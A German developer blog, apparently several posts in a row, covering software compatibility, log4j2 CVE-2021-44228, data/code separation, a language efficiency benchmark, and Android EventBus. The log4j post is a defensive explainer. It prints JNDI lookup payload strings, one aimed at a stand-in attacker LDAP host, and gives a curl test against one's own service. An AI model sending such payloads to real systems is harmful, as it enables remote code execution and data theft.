Allgemeine Beschimpfung endender Kompatibilität

Am 24. Oktober beendet Whatsapp die Unterstützung für Geräte mit Android-Versionen unter 5. Wer ein Smartphone besitzt, für das es keine neuere Android-Version als 4 Punkt irgendwas gibt, steht vor der Wahl, das Gerät wegzuschmeißen und ein neues zu kaufen, oder alle seine Freunde zu verlieren.

Whatsapp begründet den Schritt mit fehlenden Sicherheitsupdates für die alten Versionen, fehlender Unterstützung für App-Features (hier würden mich mal die Details interessieren) und weil kaum noch jemand solche alten Geräte verwendet.

Im Mülleimer ist noch Platz!

Natürlich verwenden nur noch 0,00000irgendwas Prozent aller Android-Nutzer so alte Geräte, aber in absoluten Zahlen dürften das trotzdem nicht wenige sein. Ein zwar altes, aber grundsätzlich noch funktionierendes Gerät muss also auf den Elektromüll geschmissen werden, weil die Whatsapp-Entwickler keine Lust mehr haben, die App-Unterstützung für Android 4 weiter zu gewährleisten, sprich: sich mit alten Bibliotheken oder Sicherheitslücken herumzuschlagen. Irgendwo verständlich, klar.

Denn die Ursache des Übels liegt natürlich nicht bei den Entwicklern von Whatsapp, sondern bei denen von Android.

Wie selbstverständlich muss jedes Jahr eine tolle neue better-than-ever Android-Version auf den Markt kommen! Und um zu kaschieren, dass diese für die meisten Nutzer eigentlich keine nennenswerten Verbesserungen bringt, ändert man immer wieder das Design und behauptet, dass die Version noch sicherer ist als die vorherige. Was ja auch stimmt.

Bloß: Es spräche ja nichts dagegen, die Sicherheitsprobleme der vorherigen Version einfach durch Updates zu beseitigen. Bei LTS-Versionen von Linux-Betriebssystemen funktioniert das ja auch schon viele Jahre lang (und Android ist ein Linux). Würde man effizienter, modularer programmieren (und keine Bloatware installieren), wäre auch auf älteren Geräten mit wenig Speicher noch genug Platz für alles. Sicherheitspatches erfordern wohl kaum Megabyteweise neuen Binärcode!

Hach, sie können ja nicht anders

Da bekanntermaßen Hardware-Hersteller überhaupt kein Interesse daran haben, ihren Kunden zu ermöglichen, ältere Geräte länger zu nutzen, verschwenden die natürlich keine Entwicklerressourcen an solche Upgrades. Lieber springen sie auf den Google-Zug auf und bringen jedes Jahr eine neue Geräte-Generation, die eine noch tolle Kamera hat, ein noch größeres Display, ein noch hübscheres Notch oder das man in den Pool mitnehmen oder falten kann, denn das ist es ja, was wir Menschen unbedingt brauchen. Inzwischen gibt es auf diesem Planeten grob geschätzt 14 Milliarden Smartphones, jeder erwachsene Mensch besitzt also längst weit mehr als zwei (plus Tablets). Mehr als die Hälfte ist also überflüssig.

Letztlich reden wir hier von einer Ressourcenverschwendung, die das Gegenteil von nachhaltig ist und einen Material- und Energieverbrauch mit sich bringt, der in einer Welt, die vor dem Klimakollaps steht, verboten gehört. Aber die Anbieter haben ja keine Alternative: Wenn sie keine neuen Betriebssysteme oder Geräte verkaufen können, entfallen schlicht die Einnahmen und sie müssen den Laden dicht machen. Helfen könnte bei Betriebssystemen ein Abo-Modell. Gibt’s ja in anderen Branchen auch. Neue, noch leistungsfähigere Hardware ist unnötiger Fortschritt auf Kosten des Planeten. Das ist krank.

Nur ein paar Beispiele

Bei Apple ist es übrigens nur ein bisschen besser. Für mein 11 Jahre altes, aber noch tadellos funktionierendes MacBook Air, gibt es kein aktuelles MacOS X mehr, und das anstehende Update für den Chrome-Browser installiert sich nicht unter dem alten OS. Folglich bin ich fürderhin gezwungen, einen veralteten Browser zu verwenden, mir einen anderen zu suchen oder das Gerät zu ersetzen.

Noch mehr Beispiele? Ein kleines noch aus eigener Erfahrung: Beim letzten größeren Linux-Kernel-Upgrade musste ich meinen tadellos funktionierenden, nur wenige Jahre alten WLAN-Stick ersetzen, weil der Treiber für den enthaltenen Chip aus dem Kernel entfernt worden war. Wer trifft eigentlich solche rücksichtslosen Entscheidungen, die letztlich beim Endkunden Kosten und Elektromüll verursachen?! Wer trägt die Verantwortung, wem kann ich die Rechnung schicken, wem das Altgerät zwecks umweltgerechter Entsorgung?

Der Gipfel der Ressourcenverschwendung und des Hardware-Wegwerf-Wahns ist übrigens gar nicht Android, sondern Windows. Version 11 kann bekanntlich (normalerweise) nur auf Rechnern mit einem spezifischen Hardwaremodul installiert werden. Sobald also der Support für Windows 10 endet (14. Oktober 2025), müssen alle PCs ohne dieses Modul sicherheitshalber weggeschmissen werden, weil es keine Lücken-Updates mehr gibt (und Windows 10 ist voller Lücken, ach übrigens: Mit Linux kann man solche PCs noch lange weiter betreiben!). Wie viele Geräte da auf den Schrott wandern werden (oder willkommene Opfer für Verschlüsselungstrojaner werden), wage ich nicht zu schätzen.

EDIT: Inzwischen sind zwei weitere prominente Fälle aus dem Android-Bereich bekannt geworden: Die ZDF Mediathek und Youtube laufen nicht mehr unter Android 5. Immerhin verweisen beide Apps auf “Im Browser öffnen”. Was ein bisschen lächerlich ist, denn der läuft ja auch auf dem Gerät, warum dann nicht die Apps, die ja einfach in einem Chrome Webview laufen könnten?!

Diese Funktion ist @Deprecated, weil ich den Namen nicht mehr cool fand

Nicht unerwähnt bleiben soll der Aufwand, den uns als Entwickler jeder endende Software-Upgrade-Pfad aufzwingt. Jede Anwendung verwendet ja irgendwelche Bibliotheken, die ihrerseits gewisse Systemanforderungen haben. Schlicht ausgedrückt: Sobald eine neue Version von ir-gend-was.jar eine Änderung an unserem Code oder gar an den Systemvoraussetzungen unserer Anwendung ändert, müssen wir zwingend aktiv werden – aber niemand bezahlt diesen Aufwand! Diese Kosten – Zeit, Personal, Energie – müssen in unser Produkt von vornherein eingepreist werden, obwohl sie gar nicht seriös kalkuliert werden können, weil sie nicht einmalig anfallen wie der Kaufpreis, sondern laufend.

Und solche Anpassungen müssen wir dauernd machen: Nicht nur bei Android-Apps, wenn Google z.B. verlangt, dass wir die Billing-Library Version 5 für In-App-Käufe verwenden müssen, ansonsten dürfen wir unsere App nicht mehr updaten. Natürlich hat sich die API geändert, also müssen wir Dokus lesen und Codeanpassungen vornehmen, meist ohne dass unsere App dadurch auch nur einen Euro mehr Einnahmen erzeugt. Unverschämtheit!

Oder man denke an PHP-Skripts, die nicht mehr funktionieren, weil der Zugriff auf unbekannte Array-Keys seit PHP 8 standardmäßig eine Warnung statt eine Notice auswirft. Noch schlimmer waren nur die grundlegenden Änderungen am MySQL-Treiber, der alle vorherigen Funktionsnamen änderte. Welche Aufwände das weltweit verursacht hat, und wie viele PHP-Skripte seitdem einfach nicht mehr funktionieren, weil sich niemand darum kümmert, kann niemand schätzen. Nichts gegen Produktpflege, Refactoring, Bugfixing oder von mir aus Verschönerung einer API. Aber wenn man weiß, dass andere Entwickler davon abhängig sind, und eine abwärtsinkompatible Änderung Aufwände verursacht, die man selbst ja nicht hat und deshalb ein Problem anderer Leute sind, dann ist man schlicht ein rücksichtsloser Energieverschwender. Ach übrigens: Wenn man von vornherein seine Software sauber konzipiert, braucht man hinterher weniger zu ändern! Buchempfehlung siehe rechts. Und ansonsten hat man gefälligst die Bedürfnisse des Rests der Welt über die eigenen zu stellen.

Ich verlange daher zeitlich unbegrenzten Update-Support für alle Betriebssysteme wie Linux, Android, Windows, MacOS sowie für alle Open-Source-Software-Bibliotheken und -Plattformen. Neue Features können jederzeit hinzugefügt werden (bitte modular, so dass sie nur dann automatisch nachgeladen werden, wenn gewünscht bzw. wenn der Hardware-Support vorhanden ist), aber niemals dürfen vorhandene Funktionen entfernt oder geändert werden. Tatsächlich hat diese Herangehensweise einen immensen Vorteil: Es muss nur noch eine Software-Version gepflegt und mit Sicherheitsupdates versorgt werden, nämlich die aktuelle. Weniger Stress = mehr Zeit für besseres Coden!

tl;dr: Be smart, stay compatible.

Was Entwickler jetzt über die log4j2-Schwachstelle wissen müssen [CVE-2021-44228]

Die Schwachstelle CVE-2021-44228(Apache Log4j Remote Code Execution im beliebten Java-Logging-Framework log4j2 füllt seit dem 10. Dezember die Kommentarspalten und bringt Admins um ihren wohlverdienten Schlaf. Entdeckt wurde es übrigens zuerst auf anfälligen Minecraft-Servern. Dieses Posting erklärt die Schwachstelle für Entwickler einmal in aller Ruhe auf Deutsch – und gibt ein paar Handlungsempfehlungen.

Die Schwachstelle

log4j2 hat ein Feature namens Lookups. Unwahrscheinlich, dass das jemand meiner Leser bereits je verwendet hat, deshalb erkläre ich es nur extrem kurz: Man kann damit Daten aus einer externen Quelle abrufen und mit loggen. Dazu muss ein Makro wie ${…} geloggt werden (oder im Logging-Pattern stehen). Die Schwachstelle besteht nun darin, dass auch ein Lookup (Nachladen) einer Klasse über JNDI möglich ist, und das auch auf einem beliebigen LDAP-Server, etwa so:

"${jndi:ldap://horrible-ldap-server.whatever.com:1389/a}"

Hierüber kann der Anwendung beliebiger Java-Code untergejubelt werden, der vom LDAP-Server des Angreifers geladen und (wenn er im static{…}-Bereich der Klasse steht) beim Loggen geladen und ausgeführt wird. Zum Beispiel ein Kryptominer, was noch einer der harmloseren vorstellbaren Fälle ist. Der Code kann aber auch einen Remote-Login öffnen oder alle Daten abgreifen, die für den User, mit dessen Rechten Ihre Anwendung läuft, erreichbar sind. Aua.

Unter Android funktioniert das Feature nicht, allerdings sind auf einem Smartphone Angriffsmöglichkeiten ohnehin schwer vorstellbar. Ähnliches gilt für Kommandozeilen- oder Desktop-Anwendungen: Solange kein Angreifer in irgendeiner Form darauf zugreifen kann, kann er die Maschine auch nicht kompromittieren, auf der das Programm läuft.

Gefährdet sind also Webanwendungen mit von außen zugänglichen Schnittstellen.

Davon gibt es freilich beliebig viele im Netz. Sind Sie für eine zuständig? Dann lesen Sie weiter!

Da eingeschleuste Kryptominer der einfachste und einträglichste Fall eines Angriffsszenarios sind, können wir schlussfolgern, dass die Last in betroffenen Rechenzentren steigen wird, also auch der CO2-Ausstoß. Soweit kein Ökostrom verbraucht wird, bereichern sich die Angreifer also persönlich auf Kosten weiterer Klimaerwärmung. Jeglicher Hass ist da berechtigt. Hilft aber nicht. Also weiter im Text:

Typische Fälle

Da ein Angreifer schwerlich den bösartigen String nach obigem Beispiel höchstpersönlich in unsere log4j-Konfigurationsdatei schreiben kann, muss er versuchen, unsere Anwendung dazu zu bringen, den String zu loggen.

Angenommen, wir haben eine Webanwendung mit einem Login-Formular, das per HTTP POST den eingegebenen Usernamen und das Passwort an eine Funktion übermittelt, dann dürfte gar nicht mal so selten folgendes im Code stehen:

logger.info("Login-Versuch mit username {}", username);

Sobald der Angreifer nun einen POST-Request abwirft, in dem der böse String als username steht, wird dieser an Log4j2 übergeben und das üble Geschehen beginnt. Dabei ist es leider egal, ob Sie die oben gezeigte (und richtige) Methode mit dem {}-Platzhalter verwenden oder ein simples +-Zeichen.

Der Fehler passiert in allen drei folgenden Fällen:

String username="${jndi:ldap://127.0.0.1:1389/Exploit}";
logger.error("Login-Versuch mit username {}", username);
logger.error("Login-Versuch mit username " + username);
logger.error(username);

Allerdings hängt das Verhalten vom Log-Level ab: Wenn das konfigurierte Log-Level höher eingestellt ist als das im Code verwendete, wird überhaupt nichts geloggt und auch die schädliche JNDI-Auflösung entfällt. Sie müssen also nur auf Logging achten, das auf Ihrer Produktiv-Instanz aktiv ist, und das sind hoffentlich nur INFO und höher, nicht die ganzen TRACE und DEBUG, mit denen Ihr Code im Entwicklermodus gesprächig gemacht wurde.

Wenn Sie den Exploit selbst nachvollziehen wollen, schauen Sie sich den Proof of Concept bei Github an. Dieser startet einen einfachen HTTP-Server (mittels Python), der die “bösartige” Klasse Exploit.class als Binärdaten ausliefert und einen simulierten Ldap-Server, der auf localhost:8888 horcht (mittels dieses Pentesting-Tools). Wenn Log4j2 den LDAP-Server erreichen kann, wird der ${…}-String durch etwas anderes ersetzt, was Sie dann im Log sehen können, wenn die Anwendung angreifbar ist. Standardmäßig versucht die Klasse Exploit übrigens, einen Taschenrechner zu starten, aber es ist nur eine Fallunterscheidung Windows/Mac enthalten, auf einem Linux-System passiert also rein gar nichts. Sie können natürlich ein eigenes Test-Executable einsetzen, oder irgendein eigenes Logging ausführen, damit nicht dauernd neue Taschenrechnerfenster erscheinen. Nötig ist das nicht, weil Sie die Anfälligkeit auch anhand der Log-Ausgabe erkennen können:

10:01:11.355 [main] ERROR de.bessercoden.demos.Log4jExploitDemo - Reference Class Name: foo

Fragen Sie mich nicht, woher dieser Text stammt, das habe ich nicht weiter erforscht – entscheidend ist, dass bei vorhandener Vulnerability nicht ${jndi:ldap://127.0.0.1:1389/Exploit} erscheint, sondern eben etwas anderes.

Rufen Sie Ihren eigenen Webservice mit curl und einem “giftigen” Parameter auf, um zu schauen, was im Logfile erscheint. Um das zu tun, erzeugen Sie eine Datei testpayload mit folgendem Inhalt:

key=${jndi%3aldap%3a//127.0.0.1%3a1389/Exploit}

Die Doppelpunkte müssen hier escaped werden. Der zu testende Webservice-Parameter wäre hier key. Dann verwenden Sie: curl -d @testpayload “http://ihr-webservice/endpoint”

Beobachten Sie das Logfile.

Falls Sie HTTP-Header loggen, denken Sie daran, dass auch diese manipuliert sein können, nicht nur Parameter.

Was tun?

Als Entwickler sollten Sie zunächst prüfen, ob Ihre Anwendung log4j2 überhaupt verwendet. Schauen Sie dazu zunächst in die effektiven Abhängigkeiten Ihres Projekts (mvn dependency:tree | grep log4j). Natürlich kann es sein, dass eine Drittkomponente diese Abhängigkeit mitbringt. Beispielsweise tun das Springboot-Projekte nicht, wenn sie auf dem Parent springboot-starter-web basieren, diese Projekte verwenden log4j Version 1, die nicht betroffen ist (und slf4j, aber das ist egal).

Wenn Sie selbst explizit log4j2 verwenden, haben Sie vermutlich eine Dependency explizit deklariert, meist etwa so:

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.14.1</version>
</dependency>
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-api</artifactId>
  <version>2.14.1</version>
</dependency>

Ändern Sie einfach die Versionsnummer in 2.15.0 und starten Sie einen clean build und testen Sie erneut.

Bäh, Featuritis!

Kleiner Abschlussrant. Ursache für den #epicfail ist in meinen Augen “Featuritis”: der naive Antrieb vieler Entwickler, dauernd neuen Kram in eine eigentlich fertige Software einzubauen, den fast niemand braucht – der aber standardmäßig eingeschaltet ist. Man muss noch nicht einmal auf die (eigentlich naheliegende) Idee kommen, dass ein Angreifer ein Feature wie “irgendeine Klasse per LDAP laden” auf fatale Weise ausnutzen könnte. Features, die voraussichtlich 99% der Nutzer (hier: Entwickler) nie brauchen, gehören in Erweiterungsmodule, nicht in den Basiscode. Die Regel dahinter ist KISS: Keep it simple, stupid!: Nur wirklich benötigte Daten (hier: Code) sollten sich in einem Projekt befinden, damit es schlank, schnell und in diesem Fall eben auch unanfällig für Angriffe ist.

Viel Erfolg bei der Bekämpfung der Angreifer!

Daten zu Daten, Code zu Code

Es war einmal ein Programmierer wie jeder andere. Sprich: Kurz vor Feierabend bekam er die Aufgabe, mal eben schnellTM einem neuen Kunden Zugriff auf eine bestimmte Ressource zu gewähren.

Was glauben Sie, warum er sein für den Abend geplantes Date mit Pizza&Kuscheln absagen musste?

Klarer Fall: Weil er oder einer seiner Kollegen bzw. Vorgänger das Bibel-Zitat aus der Überschrift nicht kannte.

Daten als Code

Wie immer sagt ein Beispiel mehr als 1000 Worte, und ich will ja nicht Ihre Zeit verschwenden. Schauen Sie sich daher das folgende Codebildchen an.

switch(userrole) {
case "DRG_BES":
case "DRG_ARG":
case "DRG_EFT":
    mgrNr = 332;
    break;
case "DRG_ALB":
    mgrNr = 451;
    break;
case "DRG_EDV":
    mgrNr = 322;
    break;
case "DRG_BFF":
    mgrNr = 537;
    break;
case "DRG_DDA":
    mgrNr = 336;
    break;
...

Wohlgemerkt handelt es sich hier um einen (leicht verfremdeten) originalen Ausschnitt aus einer umfangreichen Software-Lösung in Java. Die case-Konstruktion im analysierten Gesamtcode war noch länger, und ganz ähnliche Monster gab es an weiteren Stellen.

In einem anderen Projekt gab es auch mal eine ganz ähnliche Konstruktion zur Behandlung von speziellen Userrechten, daher der eingangs erwähnte Anwendungsfall unseres armen Programmierers. Denn der muss, um seine Aufgabe zu lösen, nun den Code erweitern, und zwar möglicherweise an mehreren Stellen. Dann muss er die Software testen, bauen und deployen oder, sollte es sich nicht um eine Serveranwendung handeln, ein Setup-Paket an einen Kunden schicken.

Wie gesagt: das war’s mit dem Date. Denn getreu Murphy’s Law geht dabei irgendwas schief … na ja, ich denke, Sie kennen das, haben es selbst erlebt oder erleiden müssen und fühlen mit unserem armen Programmierer, der sich an der Schwelle zur grausigsten aller Schrottsoftwareapokalypsen wähnt.

Daten sind Daten

Der Knackpunkt ist natürlich: Wenn Sie Daten als Code schreiben, müssen Sie die Anwendung kompilieren, bauen und ausrollen, um etwas zu ändern. Befinden sich Daten da, wo Daten hingehören (in Datenbanken oder Ressourcen- bzw. Konfigurationsdateien), und ist der Code generisch, genügt es, die Daten an der richtigen Stelle zu ändern, was in 99,99% der Fälle deutlich weniger Aufwand ist.

Der zugehörige Ersatz-Code für obiges Konstrukt könnte beispielsweise so aussehen:

mgrNr = userSettings.getMgrNrForUserrole(userrole);

Dabei ist es dem Code an dieser Stelle egal, ob userSettings ein simples POJO ist, in das die richtigen Daten irgendwann vorher geladen wurden, oder ob die Klasse den gewünschten Wert in diesem Moment aus einer Datei oder Datenbank liest. Im ersteren Fall muss die Anwendung möglicherweise neu gestartet werden, oder anderweitig signalisiert bekommen, dass sich Settings geändert haben und neu geladen werden müssen. Hat der Software-Architekt damit gerechnet, dass sich solche Daten außerhalb ändern können, hat er möglicherweise auch einen automatischen Refresh eingebaut. Zu beachten ist nämlich, dass sehr häufige Zugriffe auf meist statische Settings-Daten durchaus die Performance beeinträchtigen können, wenn jedesmal ein Datenbankzugriff oder z.B. eine XML-Deserialisierung notwendig ist. Ein Caching von Settings für ein paar Minuten ist also oft eine gute Idee.

Sie sehen natürlich auf den ersten Blick, dass der neue Code nicht nur ein Vielfaches kürzer ist als das alte Switch-Konstrukt. Er ist außerdem sofort zu verstehen und damit sehr gut wartbar. Auch die Fehleranfälligkeit ist geringer, weil eine versehentliche Veränderung in einem String-Literal oder einer der “magic numbers” im Eingangsbeispiel hier nicht passieren kann (der Compiler würde es wohlgemerkt nicht merken).

Daten sind Daten, aber wie?

Wenn Sie vor der Entscheidung stehen, wie und wo Sie Konfigurationsdaten ablegen, gibt es weder eine Patentlösung noch allgemeingültige Empfehlungen.

So möchten Sie User/Rollen-Konfigurationen einer auf Kunden-PCs laufenden Anwendung sicher verschlüsseln oder zumindest digital signieren, damit sich niemand auf einfache Weise zusätzliche Rechte verschaffen kann. Das ist natürlich mit Standard-Bibliotheken ohne weiteres möglich und ändert nichts am Grundprinzip der sauberen Trennung von Daten und Code.

Auf Dateiebene kommen ini- oder properties-Dateien in Frage, für komplexere Daten (wie Maps/Dictionaries wie im obigen Beispiel) XML- oder Json-Format. Beachten Sie, dass es für so ziemlich jede Programmiersprache, die etwas auf sich hält, Bibliotheken gibt, die Ihnen solche Dateien in Objekte deserialisieren (z.B. GSON oder Jackson für Java). So können Sie eine bestimmte Datenstruktur erzwingen, brauchen keine tippfehleranfälligen Stringliterale für den Zugriff, und strukturell falsche Daten führen zu Ausnahmefehlern, die (ordentliche Fehlerbehandlung vorausgesetzt) sofort sichtbar werden.

Auf Nummer sicher gehen Sie mit einer Datenbank, in der das relationale Schema die Datenstruktur fest vorgibt. Das muss natürlich kein ausgewachsener SQL-Server sein – auch dateibasierte Datenbanken wie Apache Derby oder SQLite erfüllen ihren Zweck. Das obige Beispiel würde eine Tabelle mit zwei Spalten (userrole und mgrNr) erfordern, wobei die userrole gleichzeitig der unique primary key wäre und die get-Funktion letztlich eine SQL-Query ausführt:

 SELECT mgrNr FROM settings WHERE userrole=:?

Diese oder jene Daten

Daten in Ressource-Dateien abzulegen (auch dateibasierte Datenbanken sind letztlich welche), eröffnet Ihnen mit modernen Build-Systemen wie Maven weitere Möglichkeiten. So können Sie mit Maven-Profiles das Buildsystem anweisen, unterschiedliche Ressourcen-Verzeichnisse zu verwenden. Auf diese Weise können Sie Testversionen getrennt von Produktivversionen verwalten oder auch unterschiedliche Ausprägungen eines Produkts bauen. In Mavens pom.xml schreiben Sie einfach:

<profiles>
    <profile><id>dev</id></profile>
    <profile><id>live</id></profile>
    ...
</profiles>

Sie übergeben dem mvn-Kommando mit dem Parameter -P den Namen des gewünschten Profils. Dann verwendet Maven zusätzlich zum Standard-Verzeichnis für Ressourcen (resources) ein Verzeichnis namens resources-[profile]. Legen Sie also einfach die jeweiligen Dateiversionen in unterschiedliche resources-xxx-Verzeichnisse und bauen Sie die Anwendung mit dem passenden -P-Parameter.

Wenn Sie das Springframework verwenden, können Sie mit passenden Annotations dafür sorgen, dass Konfigurationsparameter direkt zu Java-Beans verarbeitet werden, die per Autowire im Inversion-of-Control-Container zur Verfügung stehen. Aber das ist ein Thema für einen anderen Artikel.

Mögen Ihre Daten immer Daten sein, auf dass keines Ihrer Dates ausfallen muss!

Coden, aber effizient!

Wir leben im digitalen Zeitalter (na gut, die meisten von uns), und langsam aber sicher wird vielen Entscheidern klar, dass die AWS-Cloud (oder ihre Verwandten) nicht nur total praktisch ist, sondern auch eine ganze Menge Energie verbraucht. Schätzungen sprechen von bis zu 20% des Energieverbrauchs der ganzen Welt. Wohlgemerkt sind Anwendungen in der Cloud immer noch sparsamer als eigene Rechenzentren mit Servern aus Blech, die 24 Stunden an der Steckdose nuckeln, aber beispielsweise nur tagsüber benötigt werden. Cloud-Instanzen sind üblicherweise “shared” und verbrauchen nur dann Energie, wenn benötigt. Trotzdem bedeuten mehr Cloud-Instanzen natürlich auch mehr Energieverbrauch (und CO2-Ausstoß, sofern das Rechenzentrum keinen grünen Stromanschluss besitzt).

Tatsächlich können wir die Frage nach dem Energieverbrauch auch Codern und Software-Architekten stellen: Benötigt euer Software-System wirklich 10 Instanzen und 3 Datenbanken? Muss für eine eher simple Anwendung 1 GB RAM reserviert werden und die Kiste mit dem fettesten Prozessor oder darf es ein bisschen weniger sein? Sollte der Energieverbrauch einer Plattform vielleicht sogar zu den Entscheidungskriterien gehören?

Der Vergleich

Für die 2. Auflage meines Buchs “Besser coden” habe ich ein Kapitel über effizienten Code geschrieben – und ein paar Messungen durchgeführt. Dazu habe ich eine relativ einfache Webanwendung in mehreren Sprachen geschrieben und Aspekte wie Performance, Ressourcenverbrauch und Anspruch an Entwickler verglichen. Letzteres ist nicht zu unterschätzen: Spart eine Technologie Speicher, aber Sie finden keinen Entwickler, der sie beherrscht, bleibt ihr tolles Softwaresystem graue Theorie.

Es traten an:

  • Java 13 und Spring Boot, das beliebte Framework für Webservices
  • PHP 7.4, eine bewährte, einfache Skriptsprache mit Cache APCu
  • Rust 1.52 und Actix Web, eine ziemlich neue Sprache samt passendem Webservice-Framework
  • sowie quasi als Online-Bonus (nicht im Buch) Go.

Der Webservice besitzt nur einen einzigen Endpoint, der dafür gedacht ist, ein Wort gegen eine hinterlegte Liste zu prüfen. Eine solche Funktion ist beispielsweise in einem Scrabble-Spiel nötig: Ist das gelegte Wort erlaubt oder nicht? Das Ergebnis wird dabei als JSON-Antwort formuliert.

Die Liste ist absichtlich nicht in einem ausgewachsenen Datenbanksystem hinterlegt, denn ich möchte nicht die Effizienz unterschiedlicher RDBMS bewerten, sondern die von Software-Plattformen. Daher lädt die zu schreibende Anwendung die Wortliste beim Start aus Textdateien und hält sie dann im RAM. Im Test enthielt diese Liste knapp 180.000 Einträge. Im Fall von PHP erfordert eine solche Vorgehensweise zwingend den Einsatz eines Caches (hier verwendet: APCu), um die Dateien nicht bei jedem Aufruf des Skripts erneut laden zu müssen.

Die Rechenzeit habe ich mit dem Apache Benchmark ab gemessen, einmal einen Einzelrequest und einmal 10.000 auf einmal in sechs parallelen Threads, um die Leistung im Parallel Processing zu bestimmen.

Den Code finden Sie in Grundzügen in meinem Buch (bis auf die Go-Version). Hier fasse ich Ihnen nur die Ergebnisse zusammen:

Java/Spring BootPHP/APCuRust/ActixGo
RAM-Verbrauch50 MB200 MB0,9 MB24 MB
Anwendungsgröße19 MB (JAR)372 Bytes (Skript)8,4 MB (binär)7,1 MB (binär)
Zeit 1 Aufruf1,8 ms0,9 ms0,4 ms0,5 ms
Zeit 10.000 Aufrufe1,1 s0,6 s0,5 s0,5 s
Startup-Dauer2,5 snicht messbar53 ms75 ms
Buildtime7,4 sentfällt69 s1 s
Coding-Anspruchleichtsehr leichtschwierigmittel

Sie sehen, dass das rein binäre Rust-Programm zur Laufzeit am schnellsten und genügsamsten ist – aber finden Sie mal einen Rust-Entwickler auf dem Jobmarkt oder lernen Sie die Sprache “mal eben”! Ich hab letzteres versucht und brauchte mehrere Packungen Schokokekse, um die spezielle Speicherverwaltung zu kapieren. Die lange Buildtime ist dabei dem anspruchsvollen Compiler- und Linker-Vorgang geschuldet.

Abgesehen vom RAM-Verbrauch ist PHP unter dem Strich wohl die effizienteste Lösung. Aber viele Entwickler scheuen sich davor, größere Projekte in PHP anzulegen – die fehlende starke Typisierung und die immer über uns Entwicklern schwebende Versuchung, spaghettimäßig PHP- und HTML-Code zu mixen, sowie ein paar Fallen wie vergessenes $this->, sind klare Minuspunkte. Dafür ist die Turnaround-Zeit Null: Skript nur speichern, schon ist es bereit zum Aufruf per HTTP.

Java ist nicht ohne Grund sehr beliebt. Aber die Java-Runtime, so optimiert sie mittlerweile auch ist, geht alles andere als sparsam mit Ressourcen um und ist merklich langsamer als die Binärcode-Konkurrenz (auch PHP verwendet dank Zend-Engine letztlich Binärcode). Ein Maven-Buildprozess lädt gefühlt mehrmals täglich das halbe Internet runter. Dafür ist der Code (speziell mit Spring Boot) aufgeräumt und vergleichsweise leicht zu debuggen. Große Projekte mit komplexer Geschäftslogik sind in Java wohl vergleichsweise am lesbarsten abzubilden.

Fazit

Sie sehen: Es gibt keine Lösung, die gleichzeitig einfach und technisch effizient ist. Sie müssen immer abwägen: Lohnt es sich, in eine hocheffiziente, moderne Technik wie Rust oder Go zu investieren? Oder setzen Sie auf eine bewährte und
einfache Technik wie Java und nehmen in Kauf, dass Sie mehr
Server benötigen (und Energie verbrauchen), wenn mehr Rechenpower erforderlich ist? Gerade bei neuen Projekten ist es sicher eine gute Idee, über diese Fragen zu diskutieren. Denn später können Sie die Plattform nicht mehr einfach ändern.

So bleiben vermutlich noch auf Jahre oder Jahrzehnte Java-Webservices
und PHP-Skripte state of the art – obwohl mit Rust oder Go, C++20, D …
technisch hochmoderne und extrem effiziente Konkurrenzprodukte be-
reitstehen.

Mein Dank für die Mitarbeit geht an Marcus Schlechter.

Entkopplung mit Events

Ein Ausweg aus der Multithread-Hölle (Sie wissen schon, die mit dem fröhlichen Bad in siedenden Race conditions) ist die Entkopplung mit Events. Statt einen linearen Programmablauf zu denken, der streckenweise aus wichtigen Gründen in verschiedenen Threads abläuft, denken Sie lieber an herumgereichte Events oder, allgemeiner: Nachrichten. Ein Message-Broker läuft dazu im Hintergrund und reicht Nachrichten herum. Das entspricht einem Publish-Subscribe-Entwurfsmuster. Der entscheidende Vorteil: Die Nachricht “gehört” immer nur jenem Programmteil (oder Thread), der gerade aktiv ist. Es gibt keinen gleichzeitigen Zugriff mehrerer Threads auf das gleiche Nachrichtenobjekt. Auch der Message-Broker interessiert sich nicht mehr für eine Nachricht, sobald er sie zugestellt hat. Am Ende der Verarbeitung wird einfach eine neue Nachricht mit dem Ergebnis der Berechnung auf gleiche Weise zurück geschickt.

Publish und Subscribe

Sie wissen sicher: Viele größere Software-Systeme arbeiten längst mit Microservices und Message-Brokern wie Apache Kafka, die Nachrichten herumreichen. Aber das geht auch in Android, und Sie können damit leicht und elegant Arbeit in den Hintergrund verlagern. Statt mit AsyncTask, Thread, Handler und runOnUiThread können Sie einfach EventBus verwenden – tun Sie vielleicht eh, denn die Library hat sich in unzähligen Apps bewährt:

dependencies {
implementation 'org.greenrobot:eventbus:3.2.0'
}

Meist verwenden Sie EventBus, um Nachrichten zwischen UI-Komponenten, Fragmenten und Activities oder Services auszutauschen. Aber da Sie per Annotation festlegen können, ob ein EventHandler im Vorder- oder Hintergrund aufgerufen wird, können Sie auch sehr einfach eine saubere Background-Task-Verarbeitung umsetzen:

EB ist eine Abkürzung für EventBus.getDefault()

Links, im Main Thread, schicken Sie (z.B. nach einem Knopfdruck des Nutzers) eine CalculationStartMsg los, nix weiter. Die Message ist ein POJO, das alle nötigen Daten enthält, um die gewünschte Berechnung zu starten. Diese Nachricht (oberer Kaffeefleck) stellt EventBus im Hintergrund zu (siehe @Subscribe-Annotation). Wohlgemerkt ist der UI-Thread völlig unbeteiligt, er macht nach dem EB.post() gar nichts mehr bzw. wartet auf weitere Eingaben.

Die Berechnung im Hintergrund erzeugt eine neue Nachricht mit dem Ergebnis der Berechnung, ResultMsg (unterer Kaffeefleck), und überstellt es dem EventBus. Dieser stellt es der passenden onMessageEvent-Funktion im Main-Thread zur Verfügung, die wiederum das Ergebnis in der UI darstellt.

Async im Pool

Falls Sie oft längere Berechnungen im Hintergrund durchführen, verwenden Sie statt ThreadMode.BACKGROUND lieber ThreadMode.ASYNC. Denn während erstere Variante nur einen Thread verwendet, und mehrere Operationen daher nacheinander verarbeiten muss, benutzt ASYNC einen ThreadPool und kann daher problemlos mehrfach und für länger dauernde Berechnungen (wie Netzwerkzugriff) eingesetzt werden.

Beachten Sie immer den Android-Lifecycle: Beide Klassen (die blaue und die orange) müssen bereits instanziiert sein, sonst können sie keine Events empfangen (). Entweder die Worker-Klasse wird in onCreate der Activity (blau) erzeugt, oder alle Funktionen liegen sogar in der gleichen Activity-Klasse. EventBus kann im Gegensatz zu (expliziten) Broadcasts keine neuen Objekte erzeugen. Natürlich müssen alle beteiligten Klassen sich bei EventBus registrieren (mit EventBus.getDefault().register(this)).

In den Messages können Sie beliebige serialisierbare Daten übertragen, auch größere Mengen. Die Latenz beträgt wenige Millisekunden.

